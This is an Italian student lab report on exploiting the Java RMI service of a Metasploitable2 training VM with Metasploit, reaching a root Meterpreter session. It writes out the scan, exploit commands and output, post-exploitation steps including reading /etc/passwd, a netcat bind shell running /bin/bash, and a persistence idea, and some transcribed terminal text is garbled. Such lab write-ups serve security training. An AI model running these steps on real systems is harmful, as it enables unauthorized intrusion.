



BENCHMARK MODULO 4

Java RMI exploit privilege escalation

Ottenimento di una sessione Meterpreter con
privilegi root in una macchina metasploitable2

Michele Garzoni
Cybersecurity Analyst M4

Cambio degli Indirizzi IP di Kali Linux e Metasploitable 2

Nell'ambito di questo esercizio, ho proceduto al cambiamento degli indirizzi IP di Kali Linux e di Metasploitable 2, seguendo le specifiche indicate. Questo è stato necessario per adattare l'ambiente di laboratorio alle esigenze dell'esercizio stesso.

Passaggi Seguiti:

Configurazione di Kali Linux:

Per cambiare l'indirizzo IP di Kali Linux, ho modificato il file di configurazione dell'interfaccia di rete, usando il seguente comando:

```
sudo nano /etc/network/interfaces
```

Ho modificato l'indirizzo IP dell'interfaccia di rete desiderata per corrispondere all'indirizzo IP richiesto (192.168.11.111) e ho riavviato il servizio di rete per applicare le modifiche.

Configurazione di Metasploitable 2:

Per cambiare l'indirizzo IP di Kali Linux, ho modificato il file di configurazione dell'interfaccia di rete usando il seguente comando:

```
sudo nano /etc/network/interfaces
```

Ho modificato l'indirizzo IP dell'interfaccia di rete desiderata per corrispondere all'indirizzo IP richiesto (192.168.11.112) e ho riavviato la macchina per rendere le impostazioni attive.

Verifica della Connessione:

Dopo aver configurato gli indirizzi IP come descritto sopra, ho verificato la corretta connessione tra le due macchine. Per farlo, ho eseguito i seguenti comando su entrambe le macchine:

Da Kali Linux a Metasploitable 2: Ho eseguito ping 192.168.11.112.

Da Metasploitable 2 a Kali Linux: Ho eseguito ping 192.168.11.111.

La verifica dei ping ha confermato con successo che le macchine possono comunicare tra loro sulla rete locale.

Screen dove Kali comunica correttamente con la macchina Metasploitable2

```
(kali㉿kali)-[~]: msfconsole
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fedd:bbff prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:dd:bb:ff txqueuelen 1000 (Ethernet)
    RX packets 256 bytes 34922 (34.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 68 bytes 14078 (13.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4679 bytes 698414 (682.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4679 bytes 698414 (682.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali㉿kali)-[~]
$ sudo nano /etc/network/interfaces
[sudo] password for kali:

(kali㉿kali)-[~]
$ sudo systemctl restart networking

(kali㉿kali)-[~]
$ ping 192.168.11.112 -i 1 -c 3 -s 64 -M auxiliary -M post
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.209 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.154 ms
^X64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.156 ms
^C
— 192.168.11.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2026ms
rtt min/avg/max/mdev = 0.154/0.173/0.209/0.025 ms
```

Ifconfig dopo l'edit del file interfaces:

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fedd:bbff prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:dd:bb:ff txqueuelen 1000 (Ethernet)
    RX packets 5422 bytes 461508 (450.6 KiB)
    RX errors 0 dropped 1 overruns 0 frame 0
    TX packets 3779 bytes 419641 (409.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 165474 bytes 43587982 (41.5 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 165474 bytes 43587982 (41.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Sfruttamento della Vulnerabilità Java RMI con Metasploit

0.5. Scansione di nmap sulla macchina Metasploitable2

Ovviamente, non dovremmo essere a conoscenza della vulnerabilità del servizio, quindi si inizia con una scansione nmap per individuare contro che target abbiamo a che fare e quali servizi sono attivi e con quale versione (e su quale porta sono eventualmente attivi)

Nmap -sV -p 1-1200 192.168.11.112

```
(kali㉿kali)-[~]
$ nmap -sV -p 1-1200 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 08:57 EDT
Stats: 0:00:05 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.11.112
Host is up (0.00014s latency).
Not shown: 1187 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds

(kali㉿kali)-[~]
$
```

La scansione rivela che la porta 1099 accetta connessioni e ha un servizio “Java-rmi” attivo in ascolto, scopriamo anche l’OS (unix) della macchina target.

Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability riguarda diversi prodotti Java che implementano il server RMI (Remote Method Invocation). Questa vulnerabilità può permettere a un attaccante remoto non autenticato di eseguire codice arbitrario su un sistema bersaglio con privilegi elevati.

1. Avvio di Metasploit:

Per iniziare, ho avviato Metasploit dalla mia macchina attaccante, utilizzando il comando *msfconsole*. Questo ha aperto l'interfaccia della console Metasploit, pronta per l'uso dopo l'inserimento della password di root.

```
$ sudo msfdb init && msfconsole
[sudo] password for kali:
[i] Database already started
[i] The database appears to be already configured, skipping initialization
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
```

```

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMNN$                                     vMMMMM
MMMNL   MMMMM                            MMMMM   jMMMMM
MMMNL   MMMMMMMMMN                      NMMMMMMMM   jMMMMM
MMMMNL   MMMMMMMMMMMMMmmmmNMMMMMMMMMMMMMMMMMMMM   jMMMMM
MMMNI    MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   jMMMMM
MMMNI    MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   jMMMMM
MMMNI    MMMMM      MMMMMMMMM      MMMMM          jMMMMM
MMMNI    MMMMM      MMMMMMMMM      MMMMM          jMMMMM
MMMNI    MMMMM      MMMMMMMMM      MMMMM          jMMMMM
MMMNI    WMMMM      MMMMMMMMM      MMMM#         jMMMMM
MMMMMR   ?MMNM                        MMMMM       dMMMMM
MMMMMNm  ^?MMM                       MMMM        dMMMMM
MMMMMMMN ?MM                         MM?     NMMMMMMN
MMMMMMMMMMNe                          jMMMMMMNMNM
MMMMMMMMMMMMMMNm,                     eMMMMMMNMNMNM
MMMMMMNNNMNMNMNMNMx                  MMMMMMMNMNMNMNM
MMMMMMMMMMNMNMNMNMNMNMm+ .. +MMNMNMNMNMNMNMNMNMNM

```

```

      =[ metasploit v6.3.43-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > 
```

2. Selezione del Modulo di Sfruttamento:

Una volta aperto Metasploit, ho utilizzato il comando `search` per cercare moduli di sfruttamento relativi a Java RMI. Questo comando permette di cercare all'interno del vasto database di Metasploit per trovare moduli pertinenti a una specifica vulnerabilità o servizio. Nella nostra ricerca, abbiamo individuato il modulo `"exploit/multi/misc/java_rmi_server"` come adatto per la vulnerabilità Java RMI sulla porta 1099.

```

msf6 > search exploit java RMI
Matching Modules

#  Name
-  -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1  exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution
2  auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
4  exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
5  exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Signed Applet Social Engineering Code Execution
6  exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
7  exploit/linux/misc/jenkins_java_deserialization 2015-11-18 excellent Yes Jenkins CLI POC Java Deserialization Vulnerability
8  exploit/linux/http/kibana_timeline_prototype_pollution_rce 2019-10-30 manual Yes Kibana Timeline Prototype Pollution RCE
9  exploit/multi/browser/firefox_xp1_bootstrapped_addon 2007-06-27 excellent No Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
10 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315 2023-05-26 excellent Yes Openfire authentication bypass with RCE plugin
11 exploit/multi/http/torchserver_cve_2023_43654 2023-10-03 excellent Yes PyTorch Model Server Registration and Deserialization RCE
12 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js CMS 12 Widget JavaScript Code Injection
13 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vCenter vSCLation Priv Esc

Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

msf6 > use 3
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

#  Name      Current Setting  Required  Description
-  -
HTTPDELAY  10              yes      Time that the HTTP Server will wait for the payload request
RHOSTS    [0.0.0.0]       yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes      The target port (TCP)
SRVHOST   0.0.0.0         yes      The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes      The local port to listen on.
SSL       false           no       Negotiate SSL for incoming connections
SSLCert   false           no       Path to a custom SSL certificate (default is randomly generated)
URIPTATH  [0.0.0.0]       no       The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

```

3. Selezione del Modulo e Impostazione delle Opzioni:

Dopo aver individuato il modulo appropriato, ho utilizzato il comando **use 3** per selezionarlo all'interno di Metasploit. Una volta selezionato, ho impostato l'indirizzo IP della macchina Metasploitable come target utilizzando il comando **set RHOST**. Questo passaggio è essenziale per configurare correttamente il target da colpire con il nostro exploit.

```
Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_v

msf6 > use 3
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```


Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```


Exploit target:
```

Id	Name
0	Generic (Java Payload)

```


View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
```

4. Esecuzione dell'Exploit:

Una volta configurato il modulo con l'indirizzo IP della macchina vittima, ho eseguito l'exploit utilizzando il comando exploit. Questo comando ha avviato l'azione di sfruttamento della vulnerabilità Java RMI sulla macchina Metasploitable. Metasploit ha automatizzato il processo di sfruttamento della vulnerabilità, cercando di ottenere un accesso non autorizzato alla macchina vittima.

5. Ottenimento della Sessione Meterpreter:

Dopo aver eseguito con successo l'exploit, Metasploit ha sfruttato la vulnerabilità Java RMI sulla macchina Metasploitable e ha ottenuto una sessione Meterpreter. Questo tipo di sessione fornisce all'attaccante un elevato livello di controllo sulla macchina remota, consentendo di eseguire una vasta gamma di comandi e azioni.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/cWJeg2xhB3VpH6
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:36937) at 2024-06-02 09:06:53 -0400

meterpreter > |
```


Raccolta di Evidenze dalla Macchina Remota

1. Configurazione di Rete:

Una volta ottenuta una sessione remota Meterpreter sulla macchina vittima, è importante raccogliere informazioni sulla configurazione di rete della macchina remota. Questo può includere dettagli come l'indirizzo IP, il gateway predefinito, il subnet mask e altri parametri di rete pertinenti. Utilizzando i comandi appropriati all'interno di Meterpreter, è possibile estrarre queste informazioni per comprendere meglio l'ambiente di rete della macchina vittima.

Tramite il comando ***ifconfig*** otteremo dettagli sulla configurazione network della macchina.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1d:d6e8
IPv6 Netmask : ::
```

2. Informazioni sulla Tabella di Routing della Macchina Vittima:

Oltre alla configurazione di rete, è essenziale raccogliere informazioni sulla tabella di routing della macchina vittima. La tabella di routing contiene dettagli su come il traffico di rete viene instradato all'interno della rete della macchina vittima. Questo può essere cruciale per comprendere il percorso che il traffico di rete prende attraverso la rete, identificare eventuali gateway o rotte specifiche e valutare la topologia di rete complessiva. Anche, prendiamo le informazioni del sistema.

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe1d:d6e8	::	::		

```
meterpreter > █
```

```
meterpreter > sysinfo
```

```
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > cd sys
meterpreter > ls
Listing: /sys
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:19 -0400	block
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:17 -0400	bus
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:19 -0400	class
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:13 -0400	devices
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:16 -0400	firmware
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:13 -0400	fs
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:13 -0400	kernel
040666/rw-rw-rw-	0	dir	2024-06-02 09:24:23 -0400	module
040666/rw-rw-rw-	0	dir	2024-06-02 08:54:16 -0400	power
040666/rw-rw-rw-	0	dir	2024-06-02 09:24:23 -0400	slab

```
meterpreter > whoami
```

```
[*] Unknown command: whoami
```

```
meterpreter > shell
```

```
Process 1 created.
```

```
Channel 1 created.
```

```
whoami
```

```
root
```

Si può accedere al telnet:

```
ps aux | grep telnet
root      4925  0.0  0.0   1784   532 ?        R    09:31   0:00 grep telnet
telnet 192.168.11.112
Trying 192.168.11.112...
Connected to 192.168.11.112.
Escape character is '^['.
```

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: █

```
telnet 192.168.11.112
Trying 192.168.11.112...
Connected to 192.168.11.112.
Escape character is '^['.
```

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

```
metasploitable login: msfadmin
msfadmin
Password: msfadmin
```

```
Last login: Sun Jun  2 08:56:14 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

```
msfadmin@metasploitable:~$ whoami
```

```
whoami
```

```
msfadmin
```

```
msfadmin@metasploitable:~$ █
```

Si possono tranquillamente estrarre le password presenti sul sistema con il comando

cat /etc/passwd

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
No mail.                      Linux telnetd
msfadmin@metasploitable:~$ whoami
whoami                        ISC BIND 9.4.2
msfadmin                      Apache HTTPD 2.2.8 ((Ubuntu)) DAV/2
msfadmin@metasploitable:~$ cat /etc/passwd
cat /etc/passwd               smbldap-samba: smbldap 3.X - 4.X (workgroup: WORKGROUP)
root:x:0:0:root:/root:/bin/bash      smbldap 3.X - 4.X (workgroup: WORKGROUP)
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  rexecd
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh           Netkit rshd
sync:x:4:65534:sync:/bin:/bin/sync    spath gdmregistry
games:x:5:60:games:/usr/games:/bin/sh macaldomain; OSs: Unix, Linux; CPE: cpe:/o:linux:lin
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh     report any incorrect results at https://nmap.org/sub
mail:x:8:8:mail:/var/mail:/bin/sh      scanned in 24.30 seconds
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false   trusted network
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false        started
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false  foreign host.
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
msfadmin@metasploitable:~$ █
```

Non che abbia molto senso, visto che ho già una sessione root attiva tramite meterpreter con pieni controlli sulla macchina target, ma per la scienza posso anche creare una shell in ascolto su una porta a mia scelta (1337) dove posso connettermi tramite netcat. Nel caso si volesse ottenere della persistenza nella macchina target si potrebbe pensare all'utilizzo di **cron** e **systemd** per autoavviare una shell in ascolto alla partenza della macchina.

```
(kali@kali)-[~]
$ nmap -sV -p 1337 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 09:45 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00020s latency).

PORT      STATE SERVICE      VERSION
1337/tcp  open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds
Loading extension exploit/multi/handler...
(kali@kali)-[~]-extension: No module of the name exploit/multi/handler found
$ nmap -sV -p 1337 192.168.11.112
Loading extension exploit/multi/handler...
Failed to load extension: No module of the name exploit/multi/handler found
meterpreter> exploit -j
Unknown command: exploit
```

```
nc -lvp 1337 -e /bin/bash
listening on [any] 1337 ...
192.168.11.111: inverse host lookup failed: Host name lookup failure
connect to [192.168.11.112] from (UNKNOWN) [192.168.11.111] 41490
```

```
(root@kali)-[/home/kali]
# nc 192.168.11.112 1337
whoami 5 created.
root 5 created.
ifconfig 1337 -e /bin/bash
eth0: Link encap:Ethernet HWaddr 08:00:27:1d:d6:e8
192.168.11.112: inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
connect to inet6 addr: fe80::a00:27ff:fe1d:d6e8/64 Scope:Link#1490
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4575 errors:0 dropped:0 overruns:0 frame:0
TX packets:3281 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:499049 (487.3 KB) TX bytes:244361 (238.6 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo: Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:510 errors:0 dropped:0 overruns:0 frame:0
TX packets:510 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:172273 (168.2 KB) TX bytes:172273 (168.2 KB)
```

Per pietà decido di concludere questo benchmark riavviando la macchina di metasploitable2 dalla reverse shell attiva su kali creata tramite shell su meta spawnata da meterpreter (che è un payload che fa già una reverse shell), un reverse shell inception praticamente!

The screenshot displays two terminal windows side-by-side.

Left Terminal Window:

```
(kali@kali)-[~]
$ nc 192.168.1.100 1337
w(UNKNOWN) [192.168.1.100] 1337 (?): No route to host

(kali@kali)-[~]
$ nc 192.168.11.112 1337
(UNKNOWN) [192.168.11.112] 1337 (?): Connection refused

(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# nc 192.168.11.112 1337
(UNKNOWN) [192.168.11.112] 1337 (?): Connection refused

(root@kali)-[/home/kali]
# nc 192.168.11.112 1337
whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1d:d6:e8
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1d:d6e8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4575 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3281 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:499049 (487.3 KB)  TX bytes:244361 (238.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:6436  Metric:1
          RX packets:510 errors:0 dropped:0 overruns:0 frame:0
          TX packets:510 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:172273 (168.2 KB)  TX bytes:172273 (168.2 KB)
```

Right Terminal Window:

```
metasploit login: msfadmin
Password:
Last login: Sun Jun  2 08:52:00 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.
```

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit:
<http://help.ubuntu.com/>
No mail.
msfadmin@metasploitable:~\$
msfadmin@metasploitable:~\$
msfadmin@metasploitable:~\$
Broadcast message from root@metasploitable
(unknown) at 10:06 ...

The system is going down for reboot NOW!

- * Stopping web server apache2
- * Stopping Tomcat servlet engine tomcat5.5

[OK]

CTRL (DESTRA)